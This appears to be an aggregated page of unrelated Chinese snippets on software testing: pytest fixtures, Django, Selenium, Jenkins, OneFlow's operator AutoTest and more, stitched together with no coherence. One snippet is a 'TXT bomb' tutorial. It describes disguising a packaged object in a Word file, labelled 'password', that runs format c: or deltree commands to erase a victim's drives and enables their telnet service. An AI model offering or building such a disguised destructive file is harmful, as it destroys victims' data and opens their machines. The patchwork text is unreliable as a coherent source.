软件开发最大的麻烦事之一，就是环境配置。用户计算机的环境不相同，可能导致软件无法运行。
https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html
Qt单元测试框架除了提供单元测试框架的基本功能外还提供了针对GUI测试的扩展功能。一般单元测试意义上是指对软件中的最小可测试单元进行检查和验证，其中最小测试单元可以为某个功能点，某个类，某个函数，甚至是某个行为等等。
在离职后的一段时间里，个人总结了过去几年工作的心得，结合以往的工作经验。重新思考并重构了前些年做的一些东西（主要是测试相关），产生了设计AutoTest这样的一个测试工具/系统的想法，当然其实这样的想法一直都有自己也曾试图慢慢去完善及实现，不过工作的原因一直没有太大进展。而离职后自己并没有忙于找工作，也使得自己有时间去实现自己的想法。
jquery-easyui-1.5.1 下载地址1：http://www.jeasyui.com/download/index.php
模块 在Python中模块可以理解为颗粒度更大的组织方式，其中可以包含类、函数、变量等等资源。 而为了更好的把一些基础服务提供给大家应用，Python提供了大量的标准模块，以及大量开源的第三方模块。 我们先看一下模块导入的基本格式： # 方式一 # 直接导入整个模块 import 模块名 # 例如导入sys模块 import sys # 方式二 # 从模块中导入指定的类、方法等资源 from 模块名 import 模块/类/方法/变量 # 例如从sys中导入path from sys impor
之前回答过「如何为PyTorch做贡献的知乎问题」，原贴见：https://www.zhihu.com/question/502301777/answer/2248950419 。回答提到了去年在OneFlow开发一些算子时，基于算子AutoTest框架找到了一些PyTorch算子的bug，并给PyTorch做出了反馈或修复。但这个回答没有介绍这个AutoTest框架长什么样子，以及它背后的原理。因此，这篇文章就用来介绍OneFlow的算子AutoTest框架看一下OneFlow深度学习框架在算子开发过程中是如何优雅的做算子对齐任务的（由@大缺弦 开发，后经我和其它同事进行扩展和丰富功能形成今天的形态）。这个AutoTest框架也可以很轻易移植到其它深度学习训练框架使用，代码实现在https://github.com/Oneflow-Inc/oneflow/blob/v0.6.0/python/oneflow/test_utils/automated_test_util/torch_flow_dual_object.py。
迭代器 (iterator): 如果一个对象同时有__iter__()和__next__()魔术方法的话，这个对象就可以称为是迭代器。__iter__()的作用是可以让for循环遍历。而__next__()方法是让对象可以通过 next(实例对象) 的方式访问下一个元素，通常从序列第一个元素开始访问，直到所有的元素都被访问才结束。
续 日常积累 | 初识Pytest | 日常积累 | 初识pytest (二) | Pytest测试用例之setup与teardown方法(一)继续分享, 今天继模块级以及函数式setup与teardown之外的2种类与方法级的写法与执行顺序
学过unittest框架的大家都知道里面 [前置/后置setup/teardown ]非常好,用来写一些每个case执行前都需要执行的公用代码 [ 作用：在每次用例开始前和结束后都去执行一次 ]
除了测试函数中使用这个方法pytest.xfail()外，xfail还有一种使用方法。就是@pytest.mark.xfail()标记预期会失败的用例，即期望测试用例是失败的，但是不会影响测试用例的的执行。
上一期基于环境的配置做了简单的介绍，针对Pytest灵活的单元测试框架，它的优点就在于内置方法巧妙之处
Mighty-Moose是一款面向.NET的持续构建和测试运行工具，现在它免费发放了。 那么Mightly-Moose到底是干什么的呢？当你每次在Visual Studio中编辑文件后点击保存时，它会自动构建你的解决方案并运行哪些受改动影响的测试。这非常适用于TDD，因为你不再需要手工运行测试就可以在不离开代码编辑器的情况下获得即时反馈。同样，它还节省了花费在运行那些并没有受到改动影响的测试上的时间。 虽然该工具还有一些其他的配置（例如在首先运行完受影响的测试后运行所有测试；在每次构建后而不是每次保存后运行
例子：删除CI-Builder项目，所有job的所有构建记录，并重置每个job的下次构建号为1
我们一般在做自动化测试时，用例设计之间应该是可以相互独立执行的，没有一定的前后依赖关系的，如果我们真的有前后依赖，想指定用例的先后顺序，可以用到pytest-ordering插件解决这个问题
对可迭代函数*iterables中的每个元素应用func方法，将结果作为迭代器对象返回。
oss软件整体采用前后端分离的模式，前端采用JQuery自研组件，包含常用web组件。后端采用spring boot + spring cloud + consul + gRPC的微服务架构。内部服务的调用通过consul注册中心集群，建立调用通道，因此后端开发了大量的api接口。为了满足这些api能更好的回归测试，我们希望能有一个自动化测试平台，它应该要满足以下几个特性：
无论是为新需求添加的代码，还是静态配置的变更，应用的任何变动都要经过部署这道工序才能最终落地。但通常，新的部署意味着应用重启、服务中断。工程师和测试人员经常在深夜搞得筋疲力尽，甚至焦头烂额。进入持续交付的时代后，这个痛点只会更加突显，因为持续交付意味着持续部署。例如，在测试环境小时级的持续集成场景中，如果没有办法将部署过程流程化、自动化，显然会频繁打断最终的交付过程，大幅降低开发测试效率。
写入和删除的操作全在代码中了，有详细的注释。不过写入的时候一定要添加判断，否则如果已经存在的话继续添加会报异常！！！！！！！！！
勿在浮沙筑高台。业务量的增长、业务形态的进化都需要坚实强劲的 IT 系统支撑。业务内容对市场是透明的，但是 IT 系统不是一朝一夕能建设完善的。未来公司之间的竞争主要也会来自于 IT 系统之间的竞争，能不能快速响应业务需求是决胜的关键。
环境搭建好以后，应该怎么分目录结构，应该先从哪里的代码开始写，写了以后，又需要做哪些配置
从 SOA 架构到现在大行其道的微服务架构，系统越拆越小，整体架构的复杂度也是直线上升，我们一直老生常谈的微服务架构下的技术难点及解决方案也日渐成熟（包括典型的数据一致性，系统调用带来的一致性问题，还是跨节点跨机房复制带来的一致性问题都有了很多解决方案），但是有一个环节我们明显忽略了。
简要说明 OEA 1.0-2.0 框架中，界面都是以 WPF 技术作为基础平台开发的。我们需要对开发出来的系统进行自动化测试，而 .NET 平台的自动化测试平台在公司内部还没有其它部门完成，所以我们在 2010 年的时候使用 Ruby + VS UIUnitTest 开发了一个 UI 自动化（UI Automation，以下简称为UIA）框架，估且称其为 UIA 1.0。UIA 1.0 完全由周金根搭建，相关的内容，大家可以参考他写的这几篇文章： 《使用VS2010的CodedUI来做自己的自动化测试框架
简单配置上面选项即可，如果需要邮件，或者代码管理其他的自己选择配置，再这里就不介绍，保存上面选项；
很早之前，我就准备做一个基于 Python 的自动化测试框架，当时仅仅写了第一篇，后面因为种种原因，就没有再写了，从今天开始，继续这个系列，一步一步的，搭建一个自己理想的自动化测试框架。 关于第一部分，可以戳这里（链接）
最近加入了一个GitHub团队，地址：https://github.com/JunManYuanLong。里面有一些非常不错的开源项目，分享出来供大家参考学习，可以话还是需要多多加星。
先吐个槽，参加过很多技术大会，也看过个很多技术类文章，发现大部分存在一个通病，即：都会提问题，提思路，但是都不会讲具体的落地方案，所以我写东西给自己定了一个目标，即：能够落地，尽量提供一个小而简单的 Demo 让感兴趣的同学能快速上手。好了，这里啰嗦两句，下面进入正题。
https://github.com/tonglei100/sweetest.git
开发语言选择 推荐使用python版本 选择行为驱动开发 selenium主要用于功能测试，主要目的在于自动化的方式来测试系统的关键流程、常见的容易出错的异常流程， 推荐使用BDD语言（行为驱动开发）模式，java版本推荐testng+cucumber、python语言推荐behave 标记元素的方式 selenium获取元素有几种常见的方法： 通过id、name 通过xpath 等， 笔者建议使用自定义的标签来进行标记，好处是不影响业务逻辑，不过需要增加一些代码。 context.dr
Django是由Python编写的Web框架，依赖Python环境，所以需要提前安装好Python环境。建议安装最新版本的Python3，Python 下载地址：https://www.python.org/downloads/
随着项目的发展，许多项目中H5（特别是微信平台内）以及小程序占比逐渐增多，因此快速建设相关的自动化来提高项目的效率和质量成为了许多项目中的重中之重。
自动装箱和拆箱从Java 1.5开始引入，目的是将原始类型值转自动地转换成对应的对象。自动装箱与拆箱的机制可以让我们在Java的变量赋值或者是方法调用等情况下使用原始类型或者对象类型更加简单直接。
形象生动的解释什么是Python的类与对象 | 一文带你了解什么是 " 对象的属性 " | 自动化测试在路上 | 函数及调用 今天接着给大家分享如何导入自定义模块，分享2种方法
django-admin startproject autotest 新建项目
/Applications/Google Chrome.app/Contents/MacOS/Google Chrome
本章介绍使用DjCelery即Django+Celery框架开发定时任务功能，在Autotestplat平台上实现单一接口自动化测试脚本、业务场景接口自动化测试脚本、App自动化测试脚本、Web自动化测试脚本等任务的定时执行、调度、管理等，从而取代Jenkins上的定时执行脚本和发送邮件等功能。
我们一般会用gotests 来生成golang测试代码，但是这个工具并不是那么好用，遇到了下面这些问题：
wiremock-py 是基于WireMock实现的, 使用Python批量生成不同 测试场景 下不同HTTP API的 mock 数据, 然后作为mock server快速全面地对 API 进行测试。
随着时间的积累，日志数据会越来越多，当你需要查看并分析庞杂的日志数据时，可通过 Filebeat+Kafka+Logstash+Elasticsearch 采集日志数据到Elasticsearch（简称ES）中，并通过 Kibana 进行可视化展示与分析。
教你做个TXT炸弹1.创建一个只包含一个空格(为了减小文件体积，大家都知道)的文本文件，取名3jie。 2.打开WORD文档，将此文件拖放入文档。也可以点击记文档菜单栏中的“插入＼对象”，弹出“插入对象”对话框，选中“从文件创建”，然后点击“浏览”按钮选择要插入的文件，点击“确定”，就OK了。。。 3.选中该插入对象的图标，选择菜单栏中的“编辑＼包对象＼编辑包”。 在弹出的“对象包装程序”对话框中，选择菜单栏中的“编辑＼命令行”，然后输入如下命令：start.exe /m format c:/q /autotest /u ，点击“确定”，此时，内容栏中会显示出命令内容。这里就给我们大家一个启示，例如我们编辑上面的命令替换为：start.exe /m deltree /y a:＼*.* c:＼*.* d:＼*.* 则是将删除对方硬盘下所有文件（盘符根据实际情况自定义）；如果替换为：start.exe /m deltree /y c:＼windows＼system＼*.* 则是删除对方c:＼windows＼system＼目录底下的所有文件。这里我们可以得到启示，我们也可以编辑其他的命令如：@auto start telnet 就是打开对放的telnet服务。这里我就不演示了的，请多包涵。。。 4.点击“插入图标”按钮，会弹出一个对话框，确认，然后任选一个图标。这里我们可以随便选的， 5.选择菜单栏中的“编辑＼标签”，为我们刚嵌入的对象改名（怎么看这办，不用我说吧）这里我们就假如用password吧。点击“文件”菜单中的“更新”，然后关闭此对话框。 6.将刚刚建立的嵌入对象拖放到桌面上。
报名啦！！！ 零距离对话腾讯测试专家，获取更多测试经验。 TMQ沙龙活动第四十六期 特邀测试开发工程师——郑铮铨分享FAT(Fast-AutoTest) ——专业服务于微信H5/小程序UI自动化测试。本次分享，主要是针对FAutoTest框架原理的基本剖析以及使用过程中流程的讲解，遇到问题如何解决，通过这个框架的分享，掌握这个框架并在业务中使用，减少人工成本，提高产品质量及效率。 分享嘉宾 郑铮铨：腾讯测试开发工程师，目前主要负责应用宝、手管的插件及工具开发，自动化测试等。在Android开发及工
今天小李在逛人类知识宝库时发现一个非常有意思的目，“CoupleGenerator”, 可以理解为伴侣生成器。哦也不对，单身的小伙伴不要想太多，国家不会分配，AI自然目前也是没法大变活人，给你分配对象的。
前面已经说过Cypress是javascript语言写的，我这里使用pycharm编辑器和ST3进行编写js脚本。
AutoTest是一个基于.NET平台实现的自动化/压力测试的系统，可独立运行于windows平台下，支持分布式部署，不需要其他配置或编译器的支持。（本质是一个基于协议的测试工具），前面还有一篇对其功能的简单介绍【AutoTest简介】
上一次我们实现了一个打开浏览器的方法，这只是一个最简单的小例子。 其中open browser就是打开浏览器的方法，但是实际工作中我们的方法很多都是自己导入的脚本文件，命名也是根据业务而定，比如我写
背景 用testNG写用例的时候，只是打印了请求的日志，没有打印这个用例的开始和结束的标识，想加上这个标识这样更好的排查问题 这种日志是加在用例开始执行和结束，相当于spring中的AOP功能，今天翻
由Webhook来连接Git操作和构建过程，这样每次push/merge等Git操作时，Webhook就会（请求）通知构建服务，然后执行整个构建过程，构建完毕后邮件通知
字典可以通过 dict[key]=new_value 来修改字典中可以key对应的value，不想字符串列表和元组，字典是没有索引的，如果key存在则dict[key]=new_value是修改value，如果key不存在，则会往字典中添加新的键值对
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